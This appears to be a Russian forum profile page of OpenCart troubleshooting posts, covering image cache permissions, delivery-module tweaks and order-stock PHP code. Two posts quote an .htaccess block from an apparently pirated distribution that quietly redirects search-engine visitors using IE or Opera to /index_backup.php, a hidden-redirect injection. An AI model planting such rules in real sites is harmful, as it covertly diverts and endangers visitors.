• Объявления

    • dinox

      Закрытый раздел разработчиков   21.08.2017

      У нас на форуме существует закрытый раздел для разработчиков в котором мы обсуждаем нюансы работы на нашем форуме, в каталоге дополнений и другие моменты которые интересны в большинстве случаев только разработчикам. На данный момент существует лишь 2 условия для попадания:
      1. Наличие промодерированного дополнения в нашем каталоге  2. Отсуствие варезной деятельности 
      Если эти правила выполнены, пишите запрос @ArtemPitov на попадание в раздел разработчиков

Doost

Пользователи
  • Публикаций

    17
  • Зарегистрирован

  • Посещение

Репутация

1 Обычный

Информация о Doost

  • Звание
    Пользователь
  1. Пару дней назад столкнулись с проблемой: движок (версия 1.5.4.1) при создании файлов в кеше (изображения) прописывает им не те права. что должен бы, а именно: папки создаются с правами доступа 700, а файлы 600 В итоге пользователи не видят картинки. Что было сделано: 1. проверена umask на сервере - никто не менял., 022 стоит. 2. В процедуре сохранения файлов (system/library/image.php/save) было принудительно прописано chmod($file, 644) 3. В процедуре ресайза изображений., где ветка copy аналогично (catalog/controllet/tool/image.php/resize) 4. от бехысходности поставил права на всю папку image 777 Именно эти шаги не помогают. При этом, когда я только сделал шаги 2 и 3 - все заработало. Но сейчас снова не работает. как выглядит: стираешь какой-нибудь файл из кеша, обновляешь страницу с товаром - в кеше файл появился, права 600 Помогает только подключении по ssh и прописывание нужных прав chmod'ом. Что посоветуете? PS системные (system) файлы движка не менялись. Может быть были какие-то изменения в файлах контроллер и админ, но не касающиеся работы с изображением. . И все изменения проверяются. В логе ошибок - проблем именно по этой части нет. PPS что еще важно: файлы в корне сервера (логи работы скриптов, запускаемых через cron) имеют права 644, т.е. ок. аналогично, если создать дирректорию через ssh командой mkdir - права будут в порядке 755 другие файлы, создающиеся через php - права 600 (например у меня создается файл, если были внесены изменения в количество товаров, лог изменений)
  2. трекинги хранятся в БД в таблице order в поле track_no кажется... так что возможность организовать поиск есть.=)
  3. я имел ввиду стоимость доставки должна зависеть от того, какой постомат человек выбрал, а не от его геозоны. у пикпоинта областные центры стоят дешевле чем города районного значения. и я не хочу брать с клиентов больше чем доставка мне реально стоит. то есть по факту я бы хотел, чтобы модуль высчитывал точную стоимость доставки пикпоинта (сколько она стоит для продавца) + позволял поставить надбавку к этой стоимости. к примеру: у меня заказ из Надыма и заказ из магадана. Оба горда находятся в одной области, но разница в стоимости для меня будет около 70р за 1 кг веса. ну и геозона определяется адресом покупателя, а не реальным пунктом доставки. корректнее делать наоборот =) кстати сейчас модуль не позволяет даже не предлагать клиенту доставку пикпоинтом, если его города нет в списке доставки. Это неудобно. вообще корректная идеология на мой взгляд выглядит так: 1. узнать город доставки клиента ($address['city']) и рассчитать для этого города базовую стоимость доставки 2. проверить есть ли там постомат 3. если нет - отключить доставку пикпоинтом ($status=false;) 3а. если да - предложить пикпоинт с базовой ценой 4. отправить на страницу выбора постомата (ГДЕ УЖЕ ВЫБРАН ГОРОД ЧЕЛОВЕКА) 5. после выбора постомата, проверить, что стоимость доставки в выбранный постомат равна изначальной базовой стоимости. 6. если не равна - вывести предупредление, что стоимость доставки изменилась (чтобы человек просто был в курсе) на самом деле я на базе Вашего модуля у себя организую подобный функционал. за исключением пункта 5 и 6. пока не могу придумать как это корректно сделать... очень сложный разбор получается возвращаемого результата... но было бы круто иметь это в функционале модуля по умолчанию. кстати, Вам как автору вопрос, можно ли чтобы когда человек переходит на страницу выбора постомата ему открывалась карта с его городом. ?
  4. организовать меняющуюся стоимость доставки в зависимости от постомата реально? скажем стоимость для клиента = стоимость доставки в постомат (она разная у всех) + надбавка надбавка задается в настройках (для регионов или общая на всю систему) PS модуль приобрел все равно.
  5. Стоит проверить может ли скрипт выполнить запрос $this->CONFIG['period'] У меня данный запрос не выполняется, что приводит к тому, что заказы проверяются ВСЕГДА, вне зависимости от того как давно их проверяли. (данная строчка определяет, отбрасывать ли заказы, история которых обновлялась в течение заданного периода времени) я лично пошел еще дальше, создал поле date_checked в таблице order (тип аналогичен date_added - DateTime) далее в самом скрипте в процедуре update() добавил обновление данного поля (после процедуры try catch) //ставим время когда проверяли статус заказа $this->db->query("UPDATE `" . DB_PREFIX . "order` SET date_checked='". date('Y-m-d H:i:s', time()) ."' WHERE order_id = '" . (int)$order['order_id'] . "'"); таким образом, у проверенного заказа в поле date_checked появляется метка времени. когда он был проверен. далее в процедуре getOperationHistory меняем запрос на вот такой: $query = $this->db->query(" SELECT o.* FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_history` h ON (o.order_id=h.order_id AND h.date_added>'" . date('Y-m-d H:i:s', time()-($this->CONFIG['period']*3600)) ."') WHERE o.track_no <> '' AND o.date_checked<'" . date('Y-m-d H:i:s', time()-(4*3600)) ."' AND h.order_history_id IS NULL $shcode_where AND o.order_status_id <> '0' AND NOT(o.order_status_id IN($not_in)) ORDER BY o.order_id DESC LIMIT 20"); time()-(4*3600) - определяет максимальную частоту обновления (раз в 4 часа) портировка выдачи по номеру заказа. лимит 20 в итоге скрипт получает первые 20 id заказов, которые нужно обновить. обновляет их, ставит метку времени при запуске повторно (в первые 4 часа), первые 20 id отбраковываются, т.к. метка времени новая. берутся следующие 20 и так пока заказы не кончатся. когда заказы кончатся скрипт выдаст пустую страницу (кстати, можно поставить условие, чтобы если заказов на обработку нет, то выдавать в лог сообщение об этом) если запуск ведется через 4 часа - то скрипт снвоа начнет проверять первые 20 заказов. у автора изначально была попытка организовать что-то подобное. заказы не проверяются, если история заказа была обновлена в заданный промежуток времени (2ч по умолчанию) (кусок запроса к БД: ON (o.order_id=h.order_id AND h.date_added>'" . date('Y-m-d H:i:s', time()-($this->CONFIG['period']*3600)) ."')) не стал это использовать, считаю, что надо смотреть на то когда заказ реально проверялся, а не когда был последний комментарий. заказ мог быть проверен только что, но статус не поменялся, значит заказ снова попадет в обработку. замечания, указания на ошибки, критика приветствуются! =) Ах да! Сейчас нет обработки статуса "неудачная попытка вручения" это приводит к тому, что заказ с таким статусом снова переводится в статус opencart "доставляется" нужна заглушка, запрещающая переводить заказ из статуса "прибыло в место вручени" в статус "доставляется" я делал это подобным образом. по идее должно работать =) сейчас в процессе тестирования. if ( ($order['order_status_id']==$this->CONFIG['delivered_status']) && // текущий статус доставлено ($status==($this->CONFIG['delivery_status'])) // новый статус доставляется ) { $status=$this->CONFIG['delivered_status']; } PS помните, я просто поделился с Вами свои опытом. буду благодарен за критику. Я не гарантирую работоспособность кода в вашем модуле =) так что все изменения на свой страх и риск (с)
  6. А вот. еще вопрос такой как сейчас обрабатывается статус "неудачная попытка вручения" Возможно стоит сделать игнор данного статуса, если его время совпадает с "прибыло в место вручения"? и обрабатывать только если времена разные (и неудачная попытка вручения позже чем прибыло) ?
  7. Купил модуль, поставил, работает =) внес небольшое изменение в xml, чтобы при добавлении трекинга статус сразу на нужный мне менялся. В остальном не трогал. Вопросы к разработчику. Вы рекомендуете запускать скрипт несколько раз в день, т.к. за раз он обрабатывает только 20 заказов. Он запоминает место на котором остановился? Или как? То есть я могу быть уверен, что если я запускаю скрипт 5 раз в день, то он обработает 100 заказов? То есть не возникнет ситуации, когда последние заказы (скажем 98 и 99 номера) останутся не обработанными? Второй вопрос Возможно ли реализовать уведомление клиенту при статусе заказа "неудачная попытка вручения" (и аналогичных, временное отсутствие адресата, технические причины и тп). Я смотрел исходный код, я бы и сам сделал по аналогии с другими статусами, но к сожалению не знаю идентификаторов нужных мне статусов =) и уже полу-офтоп почему иногда вы проверяете статус с кавычками (например, возвращается $s['operationTypeId'] == '3') а иногда без (вручена $s['operationTypeId'] == 2)
  8. Вчера столкнулся: пришло 2 заказа, разница по времени менее минуты В обоих заказах был товар, которого осталось в наличии 1 шт. Видимо покупатели положили товары в корзину и пошли оформлять, на подтверждение заказа кликнули почти одновременно. В итоге - товаров в админке стало -1. версия 1.5.4.1 Запрет на заказ, если товара нет в наличии, стоит. 2 вопроса: 1. Как-то исправить в текущей версии можно? (обновляться на 1.5.5.1.1 планирую в новогодние праздники, когда будет время все проверить) 2. в новой версии проблема уже решена? или осталась?
  9. небольшое дополнение, если удалить заказ в статусе "отменен", то система еще раз приплюсует все товары из заказа в каталог. я думаю, что имеет смысл для полноценной реализации добавить проверку статуса заказа в функцию удаления оного. чтобы если статус отменен, то товары не возвращать, т.к. они были возвращены ранее. ну или оставить все как есть и помнить об этом "баге"
  10. деревенское, возможно, решение, но работает =) правим файл /admin/model/sale/order.php добавляем 2 функции (одну для возврата на склад при отмене, другую для вычитания, если вдруг потребуется отмененный заказ вернуть) public function cancelOrder($order_id) { $order_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "order` WHERE order_status_id > '0' AND order_id = '" . (int)$order_id . "'"); if ($order_query->num_rows) { $product_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'"); foreach($product_query->rows as $product) { $this->db->query("UPDATE `" . DB_PREFIX . "product` SET quantity = (quantity + " . (int)$product['quantity'] . ") WHERE product_id = '" . (int)$product['product_id'] . "' AND subtract = '1'"); $option_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$product['order_product_id'] . "'"); foreach ($option_query->rows as $option) { $this->db->query("UPDATE " . DB_PREFIX . "product_option_value SET quantity = (quantity + " . (int)$product['quantity'] . ") WHERE product_option_value_id = '" . (int)$option['product_option_value_id'] . "' AND subtract = '1'"); } } } } public function uncancelOrder($order_id) { $order_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "order` WHERE order_status_id > '0' AND order_id = '" . (int)$order_id . "'"); if ($order_query->num_rows) { $product_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_product WHERE order_id = '" . (int)$order_id . "'"); foreach($product_query->rows as $product) { $this->db->query("UPDATE `" . DB_PREFIX . "product` SET quantity = (quantity - " . (int)$product['quantity'] . ") WHERE product_id = '" . (int)$product['product_id'] . "' AND subtract = '1'"); $option_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "order_option WHERE order_id = '" . (int)$order_id . "' AND order_product_id = '" . (int)$product['order_product_id'] . "'"); foreach ($option_query->rows as $option) { $this->db->query("UPDATE " . DB_PREFIX . "product_option_value SET quantity = (quantity - " . (int)$product['quantity'] . ") WHERE product_option_value_id = '" . (int)$option['product_option_value_id'] . "' AND subtract = '1'"); } } } } Теперь добавляем вот эти строчки в самое начало (до запроса к БД) функции addOrderHistory $order_info = $this->getOrder($order_id); if($order_info['order_status_id']==7) // order status is canceled { if($data['order_status_id']!=7) // uncancel order { $this->uncancelOrder($order_id); // add products } } else // order is ok { if($data['order_status_id']==7) // canceling { $this->cancelOrder($order_id); // delete products } } число 7 меняем на id статуса "отменено" или аналогичного статуса, который надо обрабатывать подобным образом (аннулировано, отказ и тп) Не проверено, что происходит если у вас есть отмененный заказ, в котором есть товары, которых у вас больше нет, и вы меняете ему статус на "в обработке" или аналогичный... я надеюсь, что отрицательным количество товаров не станет:) но это довольно редкая ситуация и ее обработку делать уже не стал.
  11. Господа, а не осталось того левого дистрибутива? мне кажется, что там еще в файле htaccess добавлен код: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*) RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] RewriteCond %{REQUEST_FILENAME} !/index_backup.php RewriteRule (.*) /index_backup.php?query=$1 [QSA,L] </IfModule>
  12. если я правильно все понял всему виною код в обрамлении <IfModule> я, признаться, не могу сказать дописывал ли его туда я или он был изначально (мне при установкен попался какой-то левый дистрибутив осстора, о котором тут писали) сейчас этот код убрал, работает. зачем он вообще нужен?
  13. При открытии сайта из гугла в браузере ИЕ или опера (в хроме и фф все нормально) следует ошибка 500 например по вот этой ссылке http://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CCwQFjAA&url=http%3A%2F%2Flakodom.ru%2F&ei=JJHOUZqPDsqM4gTDpYHgAw&usg=AFQjCNGQ5eqlu2ZTnwYKvX9k-3mpxrvNzQ&sig2=FIvlH4FGAlyqA4HSnISUhg&bvm=bv.48572450,d.bGE&cad=rjt связался с хостингом, посмотрели логи, говорят, что проблема в .htaccess если файл просто удалить/переименовать - редирект работает нормально. привожу полный файл здесь, может быть подскажете, что неверно написано? (для краткости комментарии удалены) Options +FollowSymlinks Options -Indexes <FilesMatch "\.(tpl|ini|log)"> Order deny,allow Deny from all </FilesMatch> RewriteEngine On RewriteCond %{HTTP_HOST} ^www.lakodom.ru RewriteRule ^(.*)$ http://lakodom.ru/$1 [R=301,L] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/ RewriteRule ^index\.html$ / [R=301,L] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/ RewriteRule ^index\.php$ / [R=301,L] RewriteBase / RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L] RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css) RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA] <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*) RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] RewriteCond %{REQUEST_FILENAME} !/index_backup.php RewriteRule (.*) /index_backup.php?query=$1 [QSA,L] </IfModule>
  14. купить новый фотоаппарат, а то по этим фотографиям гадание затруднено. Какая еще информация необходима?